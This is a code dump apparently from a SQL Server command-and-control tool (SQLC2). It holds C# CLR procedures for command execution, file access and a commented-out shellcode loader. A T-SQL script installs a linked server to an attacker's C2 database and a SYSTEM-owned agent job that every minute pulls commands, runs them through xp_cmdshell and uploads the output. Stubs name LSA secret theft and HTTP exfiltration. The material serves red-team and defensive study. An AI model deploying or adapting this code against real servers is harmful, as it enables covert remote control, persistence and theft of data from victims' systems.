513 | ManagementClass mClass = new ManagementClass(@"\\" + "127.0.0.1" + @"\root\cimv2:Win32_Process");
514 | mClass.InvokeMethod("Create", theProcessToRun);
515 |
516 | // Create the record and specify the metadata for the columns.
517 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
518 |
519 | // Mark the begining of the result-set.
520 | SqlContext.Pipe.SendResultsStart(record);
521 |
522 | // Set values for each column in the row
523 | record.SetString(0, "WMI command executed");
524 |
525 | // Send the row back to the client.
526 | SqlContext.Pipe.SendResultsRow(record);
527 |
528 | // Mark the end of the result-set.
529 | SqlContext.Pipe.SendResultsEnd();
530 | }
531 |
532 | // add wrapper for c++ code in c#
533 | // https://andrearegoli.wordpress.com/2013/09/10/shellexecute-and-execute-file-in-c/
534 |
535 |
536 | // --------------------------------------------------
537 | // Function - write_file
538 | // --------------------------------------------------
539 | [Microsoft.SqlServer.Server.SqlProcedure]
540 | public static void write_file(SqlString filePath, SqlString fileContent)
541 | {
542 | // Write provided file content to provided file path
543 | System.IO.File.AppendAllText(filePath.Value, fileContent.Value);
544 |
545 | // Create the record and specify the metadata for the columns.
546 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
547 |
548 | // Mark the begining of the result-set.
549 | SqlContext.Pipe.SendResultsStart(record);
550 |
551 | // This text is added only once to the file.
552 | if (File.Exists(filePath.Value))
553 | {
554 | // Set values for each column in the row
555 | record.SetString(0, "Conent was written.");
556 | }
557 | else
558 | {
559 |
560 | // Set values for each column in the row
561 | record.SetString(0, "Conent was written.");
562 | }
563 |
564 | // Send the row back to the client.
565 | SqlContext.Pipe.SendResultsRow(record);
566 |
567 | // Mark the end of the result-set.
568 | SqlContext.Pipe.SendResultsEnd();
569 | }
570 |
571 | // --------------------------------------------------
572 | // Function - read_file
573 | // --------------------------------------------------
574 | [Microsoft.SqlServer.Server.SqlProcedure]
575 | public static void read_file(String filePath)
576 | {
577 | // https://msdn.microsoft.com/en-us/library/ms143368(v=vs.110).aspx
578 |
579 | // Create the record and specify the metadata for the columns.
580 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
581 |
582 | // Mark the begining of the result-set.
583 | SqlContext.Pipe.SendResultsStart(record);
584 |
585 | // This text is added only once to the file.
586 | if (File.Exists(filePath))
587 | {
588 | // Open the file to read from.
589 | string readText = File.ReadAllText(filePath);
590 |
591 | // Write output
592 | record.SetString(0, readText.ToString());
593 | }
594 | else
595 | {
596 | record.SetString(0, "The file does not exist.");
597 | }
598 |
599 | // Send the row back to the client.
600 | SqlContext.Pipe.SendResultsRow(record);
601 |
602 | // Mark the end of the result-set.
603 | SqlContext.Pipe.SendResultsEnd();
604 | }
605 |
606 | // --------------------------------------------------
607 | // Function - remove_file
608 | // --------------------------------------------------
609 | [Microsoft.SqlServer.Server.SqlProcedure]
610 | public static void remove_file(String filePath)
611 | {
612 | // https://msdn.microsoft.com/en-us/library/ms143368(v=vs.110).aspx
613 |
614 | // Create the record and specify the metadata for the columns.
615 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
616 |
617 | // Mark the begining of the result-set.
618 | SqlContext.Pipe.SendResultsStart(record);
619 |
620 | // This text is added only once to the file.
621 | if (File.Exists(filePath))
622 | {
623 | // Attempt to remove the file
624 | try
625 | {
626 | File.Delete(filePath);
627 | record.SetString(0, "The file was removed.");
628 | }
629 | catch
630 | {
631 | record.SetString(0, "The file could not be removed.");
632 | }
633 | }
634 | else
635 | {
636 | record.SetString(0, "The file does not exist.");
637 | }
638 |
639 | // Send the row back to the client.
640 | SqlContext.Pipe.SendResultsRow(record);
641 |
642 | // Mark the end of the result-set.
643 | SqlContext.Pipe.SendResultsEnd();
644 | }
645 |
646 | // --------------------------------------------------
647 | // Marshaling Native Functions
648 | // https://msdn.microsoft.com/en-us/library/ms235282.aspx
649 | // --------------------------------------------------
650 | private static Int32 MEM_COMMIT = 0x1000;
651 | private static IntPtr PAGE_EXECUTE_READWRITE = (IntPtr)0x40;
652 |
653 | [System.Runtime.InteropServices.DllImport("kernel32")]
654 | private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, UIntPtr size, Int32 flAllocationType, IntPtr flProtect);
655 |
656 | [System.Runtime.InteropServices.DllImport("kernel32")]
657 | private static extern IntPtr CreateThread(IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr param, Int32 dwCreationFlags, ref IntPtr lpThreadId);
658 |
659 | // --------------------------------------------------
660 | // Function - run_shellcode - Needs more testing - crashes service
661 | // --------------------------------------------------
662 |
663 | // https://raw.githubusercontent.com/OJ/metasploit-framework/1c62559e55e9f4e755051c7836d0e23e856a4dad/external/source/SqlClrPayload/StoredProcedures.cs
664 | [Microsoft.SqlServer.Server.SqlProcedure]
665 | public static void run_shellcode(string base64EncodedPayload)
666 | {
667 | /*
668 | var bytes = Convert.FromBase64String(base64EncodedPayload);
669 | var mem = VirtualAlloc(IntPtr.Zero,(UIntPtr)bytes.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
670 | System.Runtime.InteropServices.Marshal.Copy(bytes, 0, mem, bytes.Length);
671 | var threadId = IntPtr.Zero;
672 | CreateThread(IntPtr.Zero, UIntPtr.Zero, mem, IntPtr.Zero, 0, ref threadId);
673 | */
674 | }
675 |
676 | //////////////////////////////////////////////////////////////////////////////////////////////////////
677 | // Crypto functions //////////////////////////////////////////////////////////////////////////////////
678 | //////////////////////////////////////////////////////////////////////////////////////////////////////
679 |
680 | // --------------------------------------------------
681 | // Function: EncryptThis
682 | // --------------------------------------------------
683 | // Source: https://stackoverflow.com/questions/202011/encrypt-and-decrypt-a-string
684 | // Reference: https://msdn.microsoft.com/en-us/library/system.security.cryptography.aes(v=vs.110).aspx
685 | [Microsoft.SqlServer.Server.SqlProcedure]
686 | public static void EncryptThis(SqlString MyString, SqlString MyKey)
687 | {
688 | try
689 | {
690 | string encrypted64 = EncryptStringAES(string.Format(MyString.Value), string.Format(MyKey.Value));
691 |
692 | // Create the record and specify the metadata for the columns.
693 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
694 |
695 | // Mark the begining of the result-set.
696 | SqlContext.Pipe.SendResultsStart(record);
697 |
698 | // Set values for each column in the row
699 | record.SetString(0, encrypted64);
700 |
701 | // Send the row back to the client.
702 | SqlContext.Pipe.SendResultsRow(record);
703 |
704 | // Mark the end of the result-set.
705 | SqlContext.Pipe.SendResultsEnd();
706 | }
707 | catch (Exception e)
708 | {
709 | Console.WriteLine("Error: {0}", e.Message);
710 | }
711 | }
712 |
713 | // --------------------------------------------------
714 | // Function: DecryptThis
715 | // --------------------------------------------------
716 | [Microsoft.SqlServer.Server.SqlProcedure]
717 | public static void DecryptThis(SqlString MyString, SqlString MyKey)
718 | {
719 | try
720 | {
721 | string decrypted = DecryptStringAES(string.Format(MyString.Value), string.Format(MyKey.Value));
722 |
723 | // Create the record and specify the metadata for the columns.
724 | SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
725 |
726 | // Mark the begining of the result-set.
727 | SqlContext.Pipe.SendResultsStart(record);
728 |
729 | // Set values for each column in the row
730 | record.SetString(0, decrypted);
731 |
732 | // Send the row back to the client.
733 | SqlContext.Pipe.SendResultsRow(record);
734 |
735 | // Mark the end of the result-set.
736 | SqlContext.Pipe.SendResultsEnd();
737 | }
738 | catch (Exception e)
739 | {
740 | Console.WriteLine("Error: {0}", e.Message);
741 | }
742 | }
743 |
744 | // Set salt - May not want the salt to be static long term :P
745 | private static byte[] _salt = Encoding.Unicode.GetBytes("CaptainSalty");
746 |
747 | public static string EncryptStringAES(string plainText, string sharedSecret)
748 | {
749 | if (string.IsNullOrEmpty(plainText))
750 | throw new ArgumentNullException("plainText");
751 | if (string.IsNullOrEmpty(sharedSecret))
752 | throw new ArgumentNullException("sharedSecret");
753 |
754 | string outStr = null; // Encrypted string to return
755 | RijndaelManaged aesAlg = null; // RijndaelManaged object used to encrypt the data.
756 |
757 | try
758 | {
759 | // generate the key from the shared secret and the salt
760 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt);
761 |
762 | // Create a RijndaelManaged object
763 | aesAlg = new RijndaelManaged();
764 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
765 | aesAlg.Mode = CipherMode.ECB;
766 |
767 | // Create a decryptor to perform the stream transform.
768 | ICryptoTransform encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
769 |
770 | // Create the streams used for encryption.
771 | using (MemoryStream msEncrypt = new MemoryStream())
772 | {
773 | // prepend the IV
774 | msEncrypt.Write(BitConverter.GetBytes(aesAlg.IV.Length), 0, sizeof(int));
775 | msEncrypt.Write(aesAlg.IV, 0, aesAlg.IV.Length);
776 | using (CryptoStream csEncrypt = new CryptoStream(msEncrypt, encryptor, CryptoStreamMode.Write))
777 | {
778 | using (StreamWriter swEncrypt = new StreamWriter(csEncrypt))
779 | {
780 | //Write all data to the stream.
781 | swEncrypt.Write(plainText);
782 | }
783 | }
784 | outStr = Convert.ToBase64String(msEncrypt.ToArray());
785 | }
786 | }
787 | finally
788 | {
789 | // Clear the RijndaelManaged object.
790 | if (aesAlg != null)
791 | aesAlg.Clear();
792 | }
793 |
794 | // Return the encrypted bytes from the memory stream.
795 | return outStr;
796 | }
797 |
798 | public static string DecryptStringAES(string cipherText, string sharedSecret)
799 | {
800 | if (string.IsNullOrEmpty(cipherText))
801 | throw new ArgumentNullException("cipherText");
802 | if (string.IsNullOrEmpty(sharedSecret))
803 | throw new ArgumentNullException("sharedSecret");
804 |
805 | // Declare the RijndaelManaged object
806 | // used to decrypt the data.
807 | RijndaelManaged aesAlg = null;
808 |
809 | // Declare the string used to hold
810 | // the decrypted text.
811 | string plaintext = null;
812 |
813 | try
814 | {
815 | // generate the key from the shared secret and the salt
816 | Rfc2898DeriveBytes key = new Rfc2898DeriveBytes(sharedSecret, _salt);
817 |
818 | // Create the streams used for decryption.
819 | byte[] bytes = Convert.FromBase64String(cipherText);
820 | using (MemoryStream msDecrypt = new MemoryStream(bytes))
821 | {
822 | // Create a RijndaelManaged object
823 | // with the specified key and IV.
824 | aesAlg = new RijndaelManaged();
825 | aesAlg.Key = key.GetBytes(aesAlg.KeySize / 8);
826 | aesAlg.Mode = CipherMode.ECB;
827 |
828 | // Get the initialization vector from the encrypted stream
829 | aesAlg.IV = ReadByteArray(msDecrypt);
830 | // Create a decrytor to perform the stream transform.
831 | ICryptoTransform decryptor = aesAlg.CreateDecryptor(aesAlg.Key, aesAlg.IV);
832 | using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, decryptor, CryptoStreamMode.Read))
833 | {
834 | using (StreamReader srDecrypt = new StreamReader(csDecrypt))
835 |
836 | // Read the decrypted bytes from the decrypting stream
837 | // and place them in a string.
838 | plaintext = srDecrypt.ReadToEnd();
839 | }
840 | }
841 | }
842 | finally
843 | {
844 | // Clear the RijndaelManaged object.
845 | if (aesAlg != null)
846 | aesAlg.Clear();
847 | }
848 |
849 | return plaintext;
850 | }
851 |
852 | private static byte[] ReadByteArray(Stream s)
853 | {
854 | byte[] rawLength = new byte[sizeof(int)];
855 | if (s.Read(rawLength, 0, rawLength.Length) != rawLength.Length)
856 | {
857 | throw new SystemException("Stream did not contain properly formatted byte array");
858 | }
859 |
860 | byte[] buffer = new byte[BitConverter.ToInt32(rawLength, 0)];
861 | if (s.Read(buffer, 0, buffer.Length) != buffer.Length)
862 | {
863 | throw new SystemException("Did not read byte array properly");
864 | }
865 |
866 | return buffer;
867 | }
868 |
869 | //////////////////////////////////////////////////////////////////////////////////////////////////////
870 | // Pending functions /////////////////////////////////////////////////////////////////////////////////
871 | //////////////////////////////////////////////////////////////////////////////////////////////////////
872 |
873 | [Microsoft.SqlServer.Server.SqlProcedure]
874 | public static void read_file_bin(SqlString filePath)
875 | {
876 | // Read binary file contents
877 | // https://gist.github.com/nullbind/34c63d169fadb213753c6d94567ba85c
878 | }
879 |
880 | [Microsoft.SqlServer.Server.SqlProcedure]
881 | public static void write_file_bin(SqlString filePath, SqlString fileContent)
882 | {
883 |
884 | // Write binary file content to provided file path
885 | // https://gist.github.com/nullbind/34c63d169fadb213753c6d94567ba85c
886 | }
887 |
888 | [Microsoft.SqlServer.Server.SqlProcedure]
889 | public static void read_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty)
890 | {
891 |
892 | }
893 |
894 | [Microsoft.SqlServer.Server.SqlProcedure]
895 | public static void write_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty)
896 | {
897 |
898 | }
899 |
900 | [Microsoft.SqlServer.Server.SqlProcedure]
901 | public static void write_registry_property(SqlString regPath, SqlString regKey, SqlString regProperty, SqlString regValue)
902 | {
903 |
904 | }
905 |
906 | [Microsoft.SqlServer.Server.SqlProcedure]
907 | public static void run_command_ps(SqlString PsCode)
908 | {
909 |
910 | }
911 |
912 | [Microsoft.SqlServer.Server.SqlProcedure]
913 | public static void send_http_post(SqlString PostRequest)
914 | {
915 |
916 | }
917 |
918 | [Microsoft.SqlServer.Server.SqlProcedure]
919 | public static void send_http_get(SqlString GetRequest)
920 | {
921 |
922 | }
923 |
924 | [Microsoft.SqlServer.Server.SqlProcedure]
925 | public static void get_lsa_secrets(SqlString GetRequest)
926 | {
927 |
928 | }
929 | };
930 |
--------------------------------------------------------------------------------
/images/Get-Command-Results.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Get-Command-Results.png
--------------------------------------------------------------------------------
/images/Install_SQLC2_Link_Agent.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Install_SQLC2_Link_Agent.png
--------------------------------------------------------------------------------
/images/Install_SQLC2_Server.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Install_SQLC2_Server.png
--------------------------------------------------------------------------------
/images/List execute agent commands.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/List execute agent commands.png
--------------------------------------------------------------------------------
/images/Set Command to Run on Agent.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/Set Command to Run on Agent.png
--------------------------------------------------------------------------------
/images/arch.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/SQLC2/ba26a8829afb268651cbe7edf1cc02450bb4db6d/images/arch.png
--------------------------------------------------------------------------------
/tsql/Install-SQLC2AgentLink.sql:
--------------------------------------------------------------------------------
1 | -- You can do a find and replace on the following values to get things rolling:
2 | -- C2INSTANCEHERE
3 | -- C2DATABASEHERE
4 | -- C2USERNAMEHERE
5 | -- C2PASSWORDHERE
6 |
7 | -----------------------------------
8 | -- Create Server Link to C2
9 | -----------------------------------
10 |
11 | USE [master]
12 | GO
13 |
14 | -- Create Server Link C2 Server
15 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 0
16 | EXEC master.dbo.sp_addlinkedserver @server = N'C2INSTANCEHERE',
17 | @srvproduct=N'',
18 | @provider=N'SQLNCLI',
19 | @datasrc=N'C2INSTANCEHERE', -- Add your c2 instance here
20 | @catalog=N'C2DATABASEHERE' -- Add your c2 database here
21 |
22 | -- Associate credentials with the server link
23 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = '$RandomLink') = 1
24 | EXEC master.dbo.sp_addlinkedsrvlogin @rmtsrvname=N'$RandomLink',
25 | @useself=N'False',
26 | @locallogin=NULL,
27 | @rmtuser=N'C2USERNAMEHERE, -- Add your c2 username here
28 | @rmtpassword='C2PASSWORDHERE' -- Add your c2 password here
29 |
30 | -- Configure the server link
31 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1
32 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'data access', @optvalue=N'true'
33 |
34 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1
35 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'rpc', @optvalue=N'true'
36 |
37 | --IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1
38 | EXEC master.dbo.sp_serveroption @server=N'C2INSTANCEHERE', @optname=N'rpc out', @optvalue=N'true'
39 |
40 | -- Verify addition of link
41 | IF (SELECT count(*) FROM master..sysservers WHERE srvname = 'C2INSTANCEHERE') = 1
42 | SELECT 1
43 | ELSE
44 | SELECT 0
45 |
46 |
47 | -----------------------------------
48 | -- Create TSQL Agent Job
49 | -----------------------------------
50 |
51 | USE [msdb]
52 | GO
53 |
54 |
55 | BEGIN TRANSACTION
56 | DECLARE @ReturnCode INT
57 | SELECT @ReturnCode = 0
58 |
59 |
60 | IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name=N'[Uncategorized (Local)]' AND category_class=1)
61 | BEGIN
62 | EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL', @name=N'[Uncategorized (Local)]'
63 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
64 |
65 | END
66 |
67 | DECLARE @jobId BINARY(16)
68 | EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'SQLC2 Agent Job',
69 | @enabled=1,
70 | @notify_level_eventlog=0,
71 | @notify_level_email=0,
72 | @notify_level_netsend=0,
73 | @notify_level_page=0,
74 | @delete_level=0,
75 | @description=N'No description available.',
76 | @category_name=N'[Uncategorized (Local)]',
77 | @owner_login_name=N'NT AUTHORITY\SYSTEM', @job_id = @jobId OUTPUT
78 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
79 |
80 |
81 | EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'Run command',
82 | @step_id=1,
83 | @cmdexec_success_code=0,
84 | @on_success_action=1,
85 | @on_success_step_id=0,
86 | @on_fail_action=2,
87 | @on_fail_step_id=0,
88 | @retry_attempts=0,
89 | @retry_interval=0,
90 | @os_run_priority=0, @subsystem=N'TSQL',
91 | @command=N'-- Query server link - Register the agent
92 | IF not Exists (SELECT * FROM [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents WHERE servername = (select @@SERVERNAME))
93 | INSERT [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents (servername,agentype) VALUES ((select @@SERVERNAME),''ServerLink'')
94 | ELSE
95 | UPDATE [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Agents SET lastcheckin = (select GETDATE ())
96 | WHERE servername like (select @@SERVERNAME)
97 |
98 | -- Get the pending commands for this server from the C2 SQL Server
99 | DECLARE @output TABLE (cid int,servername varchar(8000),command varchar(8000))
100 | INSERT @output (cid,servername,command) SELECT cid,servername,command FROM [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Commands WHERE status like ''pending'' and servername like @@servername
101 |
102 | -- Run all the command for this server
103 | WHILE (SELECT count(*) FROM @output) > 0
104 | BEGIN
105 |
106 | -- Setup variables
107 | DECLARE @CurrentCid varchar (8000) -- current cid
108 | DECLARE @CurrentCmd varchar (8000) -- current command
109 | DECLARE @xpoutput TABLE ([rid] int IDENTITY(1,1) PRIMARY KEY,result varchar(max)) -- xp_cmdshell output table
110 | DECLARE @result varchar(8000) -- xp_cmdshell output value
111 |
112 | -- Get first command in the list - need to add cid
113 | SELECT @CurrentCid = (SELECT TOP 1 cid FROM @output)
114 | SELECT @CurrentCid as cid
115 | SELECT @CurrentCmd = (SELECT TOP 1 command FROM @output)
116 | SELECT @CurrentCmd as command
117 |
118 | -- Run the command - not command output break when multiline - need fix, and add cid
119 | INSERT @xpoutput (result) exec master..xp_cmdshell @CurrentCmd
120 | SET @result = (select top 1 result from @xpoutput)
121 | select @result as result
122 |
123 | -- Upload results to C2 SQL Server - need to add cid
124 | Update [C2INSTANCEHERE].[C2DATABASEHERE].dbo.C2Commands set result = @result, status=''success''
125 | WHERE servername like @@SERVERNAME and cid like @CurrentCid
126 |
127 | -- Clear the command result history
128 | DELETE FROM @xpoutput
129 |
130 | -- Remove first command
131 | DELETE TOP (1) FROM @output
132 | END
133 | ',
134 | @database_name=N'master',
135 | @flags=0
136 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
137 | EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id = 1
138 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
139 | EXEC @ReturnCode = msdb.dbo.sp_add_jobschedule @job_id=@jobId, @name=N'SQLC2 Agent Schedule',
140 | @enabled=1,
141 | @freq_type=4,
142 | @freq_interval=1,
143 | @freq_subday_type=4,
144 | @freq_subday_interval=1,
145 | @freq_relative_interval=0,
146 | @freq_recurrence_factor=0,
147 | @active_start_date=20180521,
148 | @active_end_date=99991231,
149 | @active_start_time=0,
150 | @active_end_time=235959,
151 | @schedule_uid=N'9eb66fdb-70d6-4ccf-8b60-a97431487e88'
152 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
153 | EXEC @ReturnCode = msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
154 | IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
155 | COMMIT TRANSACTION
156 | GOTO EndSave
157 | QuitWithRollback:
158 | IF (@@TRANCOUNT > 0) ROLLBACK TRANSACTION
159 | EndSave:
160 |
161 | GO
162 |
--------------------------------------------------------------------------------